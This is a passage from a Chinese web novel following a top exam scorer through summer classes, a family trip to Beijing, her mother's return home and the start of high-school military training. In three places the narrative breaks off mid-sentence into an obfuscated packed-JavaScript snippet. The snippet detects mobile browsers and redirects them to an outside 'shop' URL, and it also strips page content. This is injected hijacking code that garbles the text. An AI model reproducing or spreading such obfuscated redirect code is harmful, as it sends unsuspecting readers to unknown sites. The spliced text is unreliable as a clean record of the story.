主动凑过来打招呼的人比往常多了,搭讪的笑容也更热情了,但话题往往止于“哇你真厉害”或“以后多指教啊”便匆匆结束。寒暄过后,对方总会迅速找个借口——接水、去洗手间、或者要问别人题目,然后转身融回原本熟悉的小圈子里。 仿佛她头上顶了个隐形的光环,让一些人在靠近时需要下意识地掂量一下自己的分量,也让另一些人干脆选择保持距离。 东篱夏就这么莫名其妙地被别人硬扣在她脑袋上的光环隔绝在了一切热闹之外,孤零零地被塞进了玻璃罩子里,成了一个被观赏、被议论的吉祥物。 只有苗时雨依旧是从前的样子。 苗时雨和东篱夏高中并不在同一个班,只是在超优班说过几次话,靠着苗时雨自来熟的性格,两个人这个夏天,在小黑班里成为了比高中时候更亲密的朋友。 苗时雨身上有一种坦荡的“不在意”,或者更准确地说,是一种更高明的“在意”。 东篱夏能感觉到,苗时雨并非迟钝到察觉不到周围气氛的变化,该问她借橡皮时照样伸手,听到好笑的事情照样笑得前仰后合,讨论题目时也照样会争得面红耳赤,然后一拍脑袋恍然大悟。 恰恰相反,东篱夏知道,苗时雨只是看上去大大咧咧,实际上共情能力很强,只是选择了一种最聪明最体贴的方式,装作浑然不觉,用最稀松平常的态度,把她从神坛上轻轻拉回来。 苗时雨所做的,也只不过是像往常一样对待东篱夏而已,但即使仅仅是“像往常一样”,对此时此刻的东篱夏来说,已经弥足珍贵了。 人际关系上的喘息是短暂的,真正的压力来自高中浩如烟海的新知识。 集合、不等式老师讲得都还算细致,函数部分却因为进度问题过得飞快。图像变换、定义域值域、奇偶单调……定义她似乎都能理解,但莫名其妙就是做不出题来。 物理加速度的部分跟得还可以,到了受力分析的部分,东篱夏就明显吃力了些,化学也总看不透究竟谁升谁降,谁氧化谁还原。至于生物更是全新的领域,听得她脑子一团乱麻。 东篱夏很清楚,自己的学习优势在于透彻和理解,对应的短板则是接受新知识的速度偏慢。 她需要时间咀嚼、消化,将新东西一点点纳入自己原有的知识体系,而暑假衔接班旨在快速过完高一上重点内容,对她来说节奏显然过快,根本没留给她慢慢反刍的时间。 更雪上加霜的是,除了那个史记老头,几乎每个科目的补课老师都对她充满了兴趣,动不动就“来,请状元同学谈谈对这道题的理解”。 不是说好了,得语文者得天下吗? 东篱夏心想,我得天下,靠的是116分的语文,也不是你们数学物理化学生物啊! 每次被提问,东篱夏的心都会一揪,如果恰好碰到她没太听懂的环节,站起来大脑更是一片空白,只能磕磕绊绊答非所问,久而久之,自然有同学开始议论她。 她甚至在卫生间的隔间里,听到过外面两个女生蛐蛐自己—— “刚才那个受力分析也不难啊,状元咋能不会呢?” “对啊,我也想说,当时她回答问题的时候我就跟你交换眼神了,你没看到。” 她又有什么办法呢? 她怕尴尬,那天没敢出去,也不想知道说话的两个人是谁,只是一个人在隔间里站了很久很久,等到卫生间里再也没有任何一点声音,才默默离开。 东篱夏大多数不会的问题都向苗时雨请教,苗时雨中考考了全市第九,高中理科思维就很好,尤其是数学和物理,一点就透,举一反三。 她问苗时雨题时,总有很欠的男同学在旁边诡异地笑,“哟,状元还有不会的题啊?” 她从来没因为这个状元骄傲过,也从来没炫耀过什么,这些从前的校友,如今的补课班同学,为什么要凭空对她抱有这么大的恶意呢? 她想不通。 还好,每次遇到这个事情,苗时雨总是会笑着转移话题:“这道题就是有点绕,我一开始也没想明白。”然后便自然地接过东篱夏的练习册,一步一步耐心地讲。 东篱夏觉得苗时雨讲题比很多补课班老师讲得都好,关键在于苗时雨讲题从不跳步。大多数高中老师,总会默认学生已经明白了这些内容,为了赶进度,就会省略某些思维链条,直接给结论。 她感激苗时雨,可越是请教,自己心里那份不踏实感就越重——她能明显感觉到苗时雨对高中知识的接受速度和理解深度远超自己。 以东篱夏初中的成绩,虽说如果没有超常发挥必然考不了状元,但稳定在全市前三十名还是没有任何问题的。 如果到了高中,真的像奶奶说的一样,一点后劲都没有,成了别人口中的伤仲永,她又该怎么承受这一切? 有一次课间休息,两人闲聊,苗时雨说起从学长学姐那里打听到的消息:“听说江大附中开学前一周,会开竞赛班的网课,其实就是把高中主要知识点快速串讲一遍。好多学长学姐说实际用处不大,讲得太快太浅,就是走个形式,纯粹是让咱们感受一下竞赛水深。” 说完,她又笑了笑,眉眼弯弯,“不过我还是打算都听听看,了解了解总没坏处,反正暑假闲着也是闲着。” 东篱夏默默点头,心里却想,自己的暑假一点也不闲,光是跟上衔接班的节奏就耗尽了力气。 苗时雨很自然地继续道:“以我这个假期东一榔头西一棒子的了解来看,我可能对数学和物理更感兴趣点,感觉有套路,也有灵光一闪的空间。至于化学和生物,听好几个学长学姐吐槽,那两科竞赛要记要背的零碎东西太多了,不太适合我这种懒得背那么多细枝末节的人。” 竞赛班对东篱夏来说,已经是另一个层次的世界了,如今她连课内内容都吸收得很艰难。 苗时雨接着问:“夏夏,你有想学什么竞赛吗?数学?物理?还是化学生物,或者计算机?” 她低下头,声音很轻:“我感觉课内的东西自己还没消化好,竞赛对我来说太远了。” 语气里的窘迫,自己都能听出来。 苗时雨立刻察觉到了,没有追问,只是自然地拍了拍东篱夏的肩膀,语气轻快:“嗐,我也就瞎打听,其实啥都不懂,现在想这些确实太早,你说得对,咱们先把衔接班这关过了再说!” 东篱夏对她感激地笑了笑,心里的担子却更重了些。 苗时雨已经在规划未来的可能性,甚至已经清晰地知道自己喜欢什么、不适合什么,而自己却还在为最基本的高中入门知识挣扎,对未来一片迷茫。 二十天新课加上十天刷题课的轮番轰炸结束后,暑假已经所剩无几。 上完刷题课,东篱夏感觉自己好不容易形成了一点知识体系,终于能喘口气了。她计划着,用开学前最后这几天,好好听一下江大附中的竞赛网课,不求深入,至少把高中知识主干再捋顺一遍,稍稍追赶一下苗时雨她们的步伐。 计划永远赶不上变化。 爹妈的语音通话来得猝不及防,“夏夏,今天晚上赶紧去做个加急核酸,机票给你订好了,明天一早就飞北京来!爸爸妈妈在大兴机场接你,带你好好玩一圈!竞赛课什么的先放放,这中考完一整个暑假都没喘口气,我们带你好好放松放松!” 奶奶在一旁听得直念叨,先是一把夺过手机数落儿子儿媳乱花钱,说自己年轻时候去北京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957778|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是坐绿皮火车的,接着又千叮万嘱让东篱夏戴好口罩,随身带消毒湿巾,别乱摸东西。 就这样,东篱夏被迫安排了一场说走就走的旅行,登上了飞往北京的航班。 每一次与父母见面都是这样的,血缘带来的天然亲近与长期分离造成的陌生交织在一起,说不清道不明。 看着外面翻涌的云海,东篱夏心里最惦记的,其实还是那些没来得及听的竞赛网课以及仍然似懂非懂的受力分析和函数图像。 这是她第一次来北京。 从大兴机场下了飞机,一家人在地铁里倒来倒去,挤得东篱夏脑子嗡嗡响。父母北漂租的房子在朝阳团结湖公园那边,一个月那么多钱,居然只有四十平米不到,北京的物价着实令这个来自北方小城的姑娘大开眼界。 这一周,东篱夏算是提前参加了一遍军训。 天还没亮,她就被老爸拖起来去看升旗仪式,即使困得睁不开眼睛,依旧要在人山人海中踮着脚。看完升旗,又坐大巴去八达岭长城当好汉,晒得头晕眼花,东篱夏觉得自己回江城必然会黑好几个度。圆明园、颐和园、天坛……标准的特种兵北京游,至于三里屯的潮店、国贸的繁华,东先生和徐女士是提都没提。 唯一比较惬意的,是一家人在北海公园划了船,她终于真真正在明白了什么叫“海面倒映着美丽的白塔,四周环绕着绿树红墙”。 爹妈安排的地方基本都走完了,问东篱夏最后一天想去哪玩,她说想去环球影城看看,却被妈妈立刻否决,“那种地方,人多又贵,和我跟你爸来有什么意思,等以后你考上北京的大学,跟同学一起去才有意思。” 话里话外,已将她的未来跟北京牢牢绑定了。 东篱夏真的很想问爸爸妈妈,万一她发现自己不想来北京上大学呢? 虽然爹妈的司马昭之心在前几天已经藏不住了,真到了最后一天,终于图穷匕见了。 “夏夏,既然你没什么主意,我和妈妈就在今天给你安排了神秘行程。” 东篱夏已经能猜到要去哪了。 坐着十号线一路向西,又换乘来换乘去,一家人又一次在圆明园下了地铁。 不过这一次的目的地,是圆明园对面的清华大学。 可惜爹妈百密一疏,不知道清华北大游客要想入校需要先预约,一家人被拦在门口时,爹妈终于傻了眼,围着保安和指示牌团团转,最后不得不红着脸,拦住了几个面善的学生,低声下气地请求帮忙预约。 好心的哥哥姐姐们将他们一家的信息录入系统后,爹妈终于如释重负,再一次兴高采烈地把东篱夏领进了清华校园,指着二校门等景点发表一系列重要指示—— “夏夏,这才是读书的地方!有历史,有底蕴!” “在这里走走,感觉都不一样了吧?” “夏夏,你都是中考状元了,再加把劲,三年后来这里,不是问题!到时候咱们一家就在北京团聚了,多好!” 东篱夏欲哭无泪。 妈,爸,你们知道我高中课学得多费劲吗,就在这让我考清华? “说真的,爸爸妈妈,我觉得我能上个江大就不错了。” 江城大学是全省唯一一所985,在全国985排名里也不低,然而就像中国人民大学和人大附中的关系一样,江大附中也要比江城大学更出名些。 江城家长里流传着这样一个传说,“少壮不努力,老大去隔壁”,说是江大附中清北班最后一名的学生,也能手拿把掐考上江城大学。 爹妈突然在此时此刻展现出了极高的包容度:“没事,夏夏!爹妈不给你那么多压力,不一定非要考清北,上人大,北航,北理,或者北师大,爹妈都高兴,来北京就行!” 然后爸爸忽然话锋一转:“不过嘛,爸爸还是相信,我女儿有这个实力,冲一冲清北!” 和这趟北京之旅的主旨一样,起承转清华北大。 5. 共同的名字叫卓越 为数不多让东篱夏感到欣慰的是,爹妈在参观完巨大的清华校园后放弃了去北大东门门口求助北大学生预约,美其名曰为“留下未完结感,等我们夏夏以后自己考上北大再来参观”,便提前结束了这次北京之旅。 一周的特种兵行程结束,东篱夏身心俱疲,以为总算可以回江城消化消化这个兵荒马乱的暑假,没想到,回爹妈租的房子收拾行李时,等待她的又是另一个重磅炸弹。 妈妈不知道从哪变出来了一个收拾好的拉杆箱,“夏夏,妈妈辞职了,这次跟你一起回去,以后就留在江城了,惊不惊喜?” 东篱夏完全不知道自己喜不喜,总之已经快惊呆了。 妈妈之前是某个互联网大厂的数据分析师,东篱夏也一直以妈妈是很优秀的职业女性为傲,怎么莫名其妙就辞职了? “我累了,想歇歇,而且我腰一直不太好,坐着看数据面板时间一长就疼得厉害,以前没跟你说,怕你担心。”妈妈轻描淡写,但东篱夏心里更难过了,她之前竟然从来不知道妈妈的腰不好。 “对对,妈妈辞职回江城养身体,也正好给你陪读。你高中是关键三年,妈妈在身边,总能照顾得周到些。”爸爸连忙附和着,“别有任何心理负担,即使妈妈辞职了,钱的事不用你操心,爸爸已经升了总监,你妈妈回去也不是完全闲着,她技术好,接点零散的单子,做做兼职,收入也不错。你就只管心无旁骛,好好学习,考到北京来!” 东篱夏在一片茫然中全部答应了下来。 她怎么突然就不用当留守儿童了? 回程的飞机上,东篱夏靠在窗边闭着眼睛装睡。 快六年了。 她一直觉得自己和父母的生活曲线就像sinx函数和cosx函数一样,图像曲线看起来没什么两样,实际上除了过年和国庆节短暂又匆忙的团聚,她们的人生轨迹几乎完全错开,极偶尔才会有零零星星几个交点。 她早就习惯了妈妈的声音出现在电话里,出现在视频通话的屏幕里,唯独不习惯出现在她身旁。 她知道自己这个时候多少应该说点什么。 比如早就想要倾诉的关于高中学习的压力,关于新环境的恐惧,关于状元的头衔太重了要把她压死了……此刻全都堵在喉咙口,一个字也吐不出来。 不知装睡装了多久,实在装不下去了,她动了动,假装刚醒,揉了揉眼睛。 妈妈似乎也松了口气,立刻把纸杯递过来,努力寻找话题一样,终于开了口,“对了夏夏,你爸他们公司有个合作伙伴,贺叔叔,做板材的,记得吧?他儿子今年也考上了江大附中,听说也进了清北班,跟你一届。” 东篱夏接过水,低低嗯了一声,算是回应。 “不过你爸说,那孩子是擦着分数线边儿进去的,运气不错。”妈妈补充道,像是在宽慰她。 “他叫什么名字?”东篱夏顺着话头问,实则完全并不关心,只是需要对话填满尴尬的空隙。 “诶,当时你爸顺口一提,我没记住,下了飞机我问问。”妈妈笑了笑。 话题似乎又无以为继,东篱夏重新把目光投向窗外的云层。 飞机降落江城,妈妈大包小包地带回了给爷爷奶奶的礼物,奶奶一边接过,一边开始数落:“花这些冤枉钱干什么,北京东西多贵啊!我们老了,用不着这些……” 但东篱夏也明白,奶奶明显是高兴的,嘴上说着不要,却小心翼翼地收好了。爷爷则只是憨厚地笑,忙着问儿媳和孙女路上累不累,张罗着把可乐鸡翅热了热端上桌。 饭桌上,短暂的温馨之后,妈妈忽然放下筷子,“爸,妈,我跟耀景商量了一下,江大附中在江南,离江北这边太远了。高中时间紧,每天来回路上折腾一个多小时,太耽误孩子休息和学习。我车也没开回来,所以打算在江大附中旁边租个房子,我陪夏夏住过去,照顾她起居,也能省下路上时间。” 话音落下,爷爷夹菜的手停住了,脸上喜悦的光彩黯淡下去,却没说什么,只是默默点了点头。 奶奶则明显皱起了眉头,放下碗,声音提高了些:“租房子,那得花多少钱?家里住不下吗?我天天给她做饭,照顾得好好的!去江南那边,人生地不熟的……” “妈,主要是为了节省时间。高中不比初中,功课多,压力大,能多睡半小时都是好的。钱的事您别担心,我和她爸有打算。”妈妈耐心解释着。 东篱夏低头扒着饭,消息一出,连自己也是惊讶的。 她当然舍不得这个从小长大的家,舍不得爷爷沉默却温暖的红烧鱼,甚至有点舍不得奶奶刺耳却已成为习惯的唠叨。 这里有她全部的安全感。 可是她不得不承认,也有隐隐的期待在心里涌动。 和妈妈单独生活,会是什么样子?会不会和和奶奶在一起时不一样?妈妈的爱,会不会更纯粹一些? 她也清楚,奶奶的不高兴,大多是真心舍不得她,其中却也必然存在一小部分,是对掌控权转移的不适。 “夏夏,你自己怎么想?”奶奶把问题抛给了她,目光灼灼。 东篱夏抬起头,看了看奶奶,又看了看眼中带着期盼的妈妈,最后目光落在爷爷沉默的脸庞上。 “我……我觉得妈妈说的有道理。路上确实太远了。而且高中课程难,我想多些时间学习。” 奶奶最终没再反对,只是长长地叹了口气,又开始念叨起租房要注意安全、楼层不要太高、周围环境要安静之类的话。爷爷默默地给她碗里又夹了一块鱼肚肉,跟她说“常回来看看。” 东篱夏鼻子一酸,重重地点头。 她不再是留守儿童,可爷爷奶奶却成空巢老人了。 没过几天,就到了去江大附中报到的日子。 东篱夏站在校门口巨大的分班公示榜前,果然在高一(二)班最上面找到了自己的名字,紧接着又往左一扫,确认高一(一)班的名单里里赫然列着韩慎谦,心头终于泛起一丝隐秘的雀跃。 沈校长真的记得,也真的答应了。 至少在这个新起点上,她暂时摆脱了那个如影随形的比较对象。 苗时雨的名字也在一班,难免让她有些遗憾,早知道当时多跟沈校长许个愿了。二班确实没什么特别熟稔的同学,但这种失去在远离韩慎谦的愿望达成面前,似乎也变得可以接受了。 这是东篱夏第一次真正踏入江大附中的校园。 江大附中的外表破破烂烂,似乎是伪满洲国时期的保护建筑,有三个操场,两个临街,中间的被两栋楼夹着,外面看不见。 进去排好队,她就发现,用于升旗校会发言的小二楼上站上去了一个熟悉的身影,是沈婕副校长。 沈婕副校长那天讲了很多,东篱夏只记得为数不多的几句,但也是这几句话,潜移默化地影响了她的人生—— “来到江大附中,你们就有一个共同的名字,叫卓越。” “我们培养的不是螺丝钉,也不是做题家,我们希望培养的是未来的接班人,让每个江附学子都能自由、全面地成长。” “这三年一定要坚信一件事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957779|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,每一个江附学子都能实现他们的梦想。” 回家后,妈妈更关心实际的问题,“有没有看到贺叔叔儿子的名字?叫什么来着……要是分到一个班,也好有个照应。” 东篱夏无奈摇头,“我连他叫什么都不知道。” 没想到,江大附中这么快就组建了年级家长群,并且已经有热心好事的家长把分班名单拍下来发到了群里。 专业数据分析徐瑞敏女士低头在照片上寻找了一会儿,拍了拍东篱夏,指着二班名单中间的位置给她看:“找到了,贺疏放。两个班就这一个姓贺的,应该就是他了。” 东篱夏瞥了一眼那个陌生的名字,没往心里去。 军训如期而至,倒是给东篱夏所有关于卓越和自由发展的憧憬,来了好一个下马威。 因为江南的新租房还没完全收拾好,东篱夏暂时还住在江北爷爷奶奶家。于是,军训第一天,她就得五点半起床,自己打车跨越半个江城,奔赴学校旁边的体育场——尽管江大附中有三个操场,但每一个都太小,容不下浩浩荡荡的一千名新生。 全学年一共二十个班,每两个班组一个连队,一班二班的同学被打散,按身高排了正步方队,高个子在前,矮个子在后,每个人胸前都别着姓名牌,方便大家互相认识。 八月末,江城的阳光依旧毒辣,对东篱夏来说更惨了,她本来就习惯性痛经,军训又遇上生理期,即使站在队列里,小腹依旧一阵阵坠胀的绞痛。 队列间隙,休息的哨声吹响,人群三三两两散开,东篱夏能清晰地感觉到,许多目光似有若无地掠过她的姓名牌,然后在她脸上停留片刻,露出恍然大悟的神情。 那些曾经只在全市模考排名表上听到的名字,比如江南七中的纪涵星和明知晚,江南一中的奚华年和盛群瑛,此刻都变成了眼前鲜活的面孔,她默默地看,默默地记。 “诶,你看,原来她就是东篱夏啊……”“中考状元看着挺文静的啊。” 身边的窃窃私虽然听不真切,却依旧扰得她心烦意乱。东篱夏下意识地往苗时雨那边靠了靠,苗时雨正跟几个原来江南七中的同学聊得眉飞色舞。 她特别羡慕苗时雨与生俱来的亲和力,短短几天,就已经能跟两个班的许多新同学打成一片。 看到东篱夏过来,苗时雨很自然地把她拉进圈子:“喏,咱们的状元来了!刚还在说呢,这下真人认证了!” 东篱夏勉强笑了笑,对那几个面生的同学点了点头。立刻就有活泼的女生凑过来,眼睛亮晶晶的:“篱夏,你真的好厉害啊!以后要多向你请教了!” “没有没有,运气好而已。”东篱夏条件反射般地否认。 “哎呀,你们大学霸就是喜欢凡尔赛。”对方显然把这当成了客套,笑得更灿烂了,“状元都这么谦虚,让我们这些运气好擦边考进清北班的怎么活呀!” 东篱夏实在不知道回什么了,只能堪堪维持着笑脸。 看着眼前这些未来三年的同窗,他们眼中有好奇、有羡慕、有跃跃欲试,唯独没有和她一样的惶恐不安。 又有几个其他班的同学,借着休息时走动的机会,“不经意”地路过她身边,或直接或迂回地搭话,主题都离不开赞美。东篱夏疲于应付,脸上的笑容越来越僵硬,小腹的疼痛和内心的疲惫纠缠着,让她只想找个角落蜷缩起来。 休息时间结束,哨声再次尖锐地响起,东篱夏深吸一口气,忍着不适重新站回队列,阳光刺眼,亚克力姓名牌在胸口微微反光。 她的高中生活,正式开始了。 6. 封神榜?鸳鸯谱! 漫长的军训还在持续着。 可能是军训太辛苦,这次的痛经似乎格外严重,感觉自己小腹有什么东西在剧烈地下坠,腰也疼得厉害,恨不得立刻躺在旁边的草坪上打滚,蜷成一团。 教官的口令在耳边嗡嗡作响,声音忽远忽近,她只觉得自己的膝盖阵阵发软。 旁边的苗时雨早就察觉了她的不对劲,偷偷捅了捅她,“夏夏,你嘴唇咋这么白,别硬撑了,快去跟教官报告休息吧!” 东篱夏疼得表情都扭曲了,却依然固执地摇了摇头,声音虚弱:“没事,我还能坚持。我怕给新同学留下坏印象,觉得我娇气或者搞特殊……” 苗时雨看着她惨白却死犟的脸,最终还是把话咽了回去。她倒是也能理解东篱夏小心翼翼的心态,毕竟欲戴王冠,必承其重嘛。她只能无奈地叹了口气,默默站得离东篱夏更近了些,随时准备扶她一把。 然而东篱夏显然高估了自己对疼痛的耐受力,就在教官下达正步走口令,队伍开始移动的瞬间,她只觉得小腹一股剧烈的绞痛袭来,脑袋里面嗡地一下,整个世界天旋地转,身体不受控制地朝一侧歪斜下去。 “哎,夏夏!”旁边的苗时雨眼疾手快,一把捞住她的胳膊,才没让她直接摔在地上,然后立刻大声喊道,“报告教官!有人晕倒了!” 队伍一阵骚动。 “脸色这么差还逞强!”教官小跑过来,皱着眉看了看东篱夏冷汗涔涔的样子,没多想,直接发扬了简单粗暴的互助精神,目光在男生队伍里一扫,随手点了一个看起来还算精神的男生:“你,出列!扶这位同学到旁边树荫下休息,给她打点水!” 被点到的男生愣了一下,随即脸上露出一副“还有这种公命划水的好事”的窃喜,立刻响亮答了声“是!”,随即小跑过来。 东篱夏晕乎乎地,一半重量靠在苗时雨身上,另一半被这个陌生的男生接手扶住。男生手臂很有力,带着她慢慢挪到体育场边缘的树荫下。东篱夏能感觉到,对方动作并不粗鲁,甚至有点小心翼翼。 “同学,你要不先靠树上坐会儿?”男生把她安置好,也不问哪个是她的水壶,直接转身跑去拿了一瓶没开封的矿泉水过来,递给东篱夏,“我带了好几瓶水来,你先喝我的吧,这一瓶还没开封,别嫌弃。” 东篱夏接过水瓶,烈日照射了整整一上午,常温矿泉水已经快变成热水了。她小口抿着,不敢多喝,“太感谢了,我没事了,不用看着我,你快归队吧。” 她实在不好意思耽误一个陌生男生的时间。 那男生却没走,顺势在她旁边不远的阴凉处也坐了下来,半开玩笑地说,“别啊,你可千万别这么快好。” 他声音清朗,带着点少年人特有的懒散劲儿,“教官让我看着你,你好了我不就得回去继续晒太阳站军姿了?让我也偷会儿懒。” 偷懒也可以说得这么直白吗? 东篱夏一时不知该作何反应,苍白的脸上浮起一丝尴尬的红晕,依旧忍着剧痛,难受地低着头,没去细看那男生的样子。 男生看着她,脸上的玩笑神色收敛了些,“同学,你都难受成这样了,干嘛还硬挺着?这军训吧,本来就是走个形式,意思意思得了。” 东篱夏把那瓶被晒得温热的矿泉水贴在了自己的肚子上,不知道怎么回答。 难道说自己怕被议论“状元了不起啊”?还是说自己怕被贴上娇气不合群的标签?这些心思在陌生人面前,显得格外矫情,也尤其难以启齿。 她到底只是给出了一个含糊的答案,“我……不太想搞特殊。” “搞特殊?”男生重复了一遍,然后笑了一下,笑声很轻,没什么嘲讽意味,倒像是觉得她的想法有点孩子气。 “这算什么特殊?我爹妈总说我吊儿郎当,不够拼。不过我觉得吧,有些事拼拼有用,有些事纯粹是自己跟自己过不去。比如这大太阳底下硬撑,除了感动自己,没啥用。” 他转过头,看了东篱夏一眼,眼神很干净,“少宽容点世界,多宽容宽容自己呗。不舒服就歇着,天经地义,别瞎想。” 东篱夏终于抬了抬头,看了眼这个陌生男生的侧脸,他穿着普通的军训半袖,额发被汗湿了一点,侧脸线条清晰,这种理所当然的轻松态度,莫名地让她紧绷的神经松弛了一点点。 就在这时,又一个身影溜达到了树荫底下,是个女生,把宽大的军训外衣斗篷一样罩在头上,遮住了大半张脸,只露出一双弯弯的笑眼。 她毫不客气地在东篱夏另一边坐下,笑嘻嘻地开口:“哈喽,我叫虞霁月,雨后初霁的霁,月亮的月。” 东篱夏下意识地接道,“好好听的名字,光风霁月。” 虞霁月的表情似乎凝固了一下,然后又迅速恢复了笑嘻嘻的样子。 男生挑了挑眉:“你什么情况,也晕倒了?” 虞霁月嘿嘿一笑,把盖在头上的外衣扯下来一点,伸出自己的胳膊,递到东篱夏和男生面前:“看!” 只见她白皙的小臂上,布满了大片大片的红色痕迹,有些地方甚至微微肿起,看起来相当吓人。 东篱夏下意识地“啊”了一声,捂着肚子担忧道:“你是紫外线过敏吗,这么严重?太惨了……” 她对这种过敏症状印象深刻,因为初中军训时班上也有同学得过,痒起来确实难受。 虞霁月却噗嗤笑出了声,眨了眨眼睛,压低声音,“哪啊,我装的!实在站不住了,又热又累,趁教官不注意自己使劲挠的!怎么样,像不像急性荨麻疹?教官一看,赶紧让我休息了!” 东篱夏和那男生都愣住了,随即男生也笑了,摇了摇头:“得,又来一个高人。” “哎,生活所迫,生活所迫。”虞霁月一点也没不好意思,晃了晃已经消下去不少红痕的胳膊,“看,好多了吧?教官人挺好,没细究。” 东篱夏原本还有点拘谨,被她理直气壮的承认逗得也放松下来,忍不住小声问:“霁月,你挠的时候不疼吗?” “疼啊,怎么不疼?”虞霁月摸了摸胳膊,撇了撇嘴,“但比起继续在大太阳地底下站着,这点疼算什么,战略性牺牲嘛。” 男生又歇了一小会儿,见东篱夏脸色虽然还是不好,但眼神清明了些,水也喝了,便拍拍裤子站起来:“行了,我看你也没事了,我再不主动回去,教官给我抓回去就是另一码事了,二位高人,好好歇着吧。” 他冲两人随意地挥了下手,小跑着归队了。 东篱夏这才想起,自己从头到尾都不知道他的名字。他穿着半袖,姓名牌应该别在外衣上,而他的外衣似乎扔在刚才休息的地方了,她自己因为热,也把外衣脱下系在腰间,姓名牌同样没露出来。 她转过头,看向新认识的病友虞霁月,对方正小心地给自己的胳膊扇风,嘴里嘀咕着“好像挠得有点狠了,真有点疼了”。 树荫外,同学的口号声、教官的口号声依旧喧嚣,东篱夏靠回树干,第一次觉得,或许偶尔逃一下,也没那么罪大恶极。 随着一声“解散休息半小时”的哨响,人群呼啦啦散开,苗时雨拿过水壶,第一时间就朝树荫下跑来,额头上还挂着亮晶晶的汗珠。 “夏夏,你好点没?”她蹲在东篱夏面前,仔细打量她的脸色,“刚才你一晕,可吓死我了。” 虞霁月听了“夏夏”这两个字,冲着东篱夏挑了挑眉,“哟,状元啊,失敬失敬。” 苗时雨这才注意到旁边龇牙咧嘴给胳膊扇风的虞霁月,不等东篱夏应付虞霁月,就忍不住笑了:“虞霁月,我刚才可看见了,你对自己可真下得去手啊!那胳膊挠的,我站你后面都替你疼!” 虞霁月嘿嘿一笑,也不掩饰:“没办法,还是得感谢咱们篱夏开了个好头。我想着,她这一晕,教官肯定就会担心我们的身体,对我们更宽容些,这才想出了这么个招。怎么样,逼真吧?教官看都没细看,直接挥手让我一边歇着去。” 三个人都是聪明剔透的女孩,短短几句话,气氛就活络起来。 虞霁月性格跳脱,讲话天马行空,从吐槽军训裤子尺码离谱,她系好腰带还得拿两个夹子夹着,到感慨江大附中的军训的场地比她们江南七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957780|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的气派多了,话题切换毫无障碍。 苗时雨本就外向,很快跟虞霁月聊得热火朝天,东篱夏虽然话少,但也能很好地融进去,腹部的绞痛似乎都被这轻松的氛围冲淡了些许。 聊着聊着,话题自然而然地滑向了她们共同的身份——这群刚刚通过中考激烈厮杀,汇聚在江附清北班的“天之骄子”们。 “哎,时雨,”虞霁月眨眨眼,“我看咱们两个班同学你都认识得差不多了,给我们也分享下呗。” 苗时雨立刻来了精神,眼睛发亮,压低声音,“这两天我可没闲着,我和夏夏都是江北实验的,你是七中的,江南一中的八卦我也打听得差不多了。我看啊,咱这两张分班名单,既是封神榜,我看啊,也大概率是未来三年的鸳鸯谱了!” 东篱夏被这个说法逗得差点笑出声。确实,这群十六七岁的少年少女,正是情感最蓬勃的时候,未来会发生什么,谁说得准呢? 苗时雨如数家珍:“看一班,咱们的榜眼,纪涵星,就你们七中那个纪神,这次语文输给夏夏,据说他本人还挺不服气,觉得是自己没发挥好。诶,霁月,” 她神秘兮兮地凑近,“他是不是跟第四名明知晚有点说不清道不明的好嗑?我听别的七中的同学说,他俩初中就经常一起讨论题,形影不离的。这回俩人都在一班,我可以近距离吃瓜了。” “诶呀,一说到他俩我可有的说了。”虞霁月笑了笑,“我们初中也搞那个超优班,纪涵星确实厉害,明知晚学习也老拼命了,第一第二都是他俩在争,超优班梁山好汉排座次,他们两个都坐最前面,比着做题。我是不如他俩努力,考个第三就谢天谢地了。” 虞霁月话锋一转,“纪涵星就是有点傲,性格挺好的,阳光开朗大男孩;知晚有点高冷,人也是相当不错的,时雨,你在一班,放心跟他俩玩。” 苗时雨点了点头,继续爆料,“再说说江南一中那对金童玉女,奚华年和盛群瑛。奚华年在一班,盛群瑛在二班,可惜了,没分到一个班。这两位可是江南一中的门面,奚华年就不用说了,长得帅,性格据说还特好,成绩拔尖,体育好像也不错,妥妥的校园男神预备役。盛群瑛更神,听说属于那种不怎么使劲学,随便听听课,就能考得让人绝望的类型,天赋型选手,羡慕不来。” “你不也是天赋型选手吗?”虞霁月笑着追问了一句。 “害,能考进这两个班的,谁不多少有点小聪明啊。”苗时雨坦荡地笑笑。 东篱夏顺着苗时雨目光示意的方向,假装不经意地望过去,休息的人群中,确实有一个身影格外显眼,大概就是奚华年了。他个子不算太高,但应该也有一米八,即使穿着统一的迷彩服,也掩盖不住清朗温润的气质,他正微微低头听着旁边的人说话,嘴角似乎带着礼貌的浅笑。 确实挺好看的。 东篱夏客观地想。 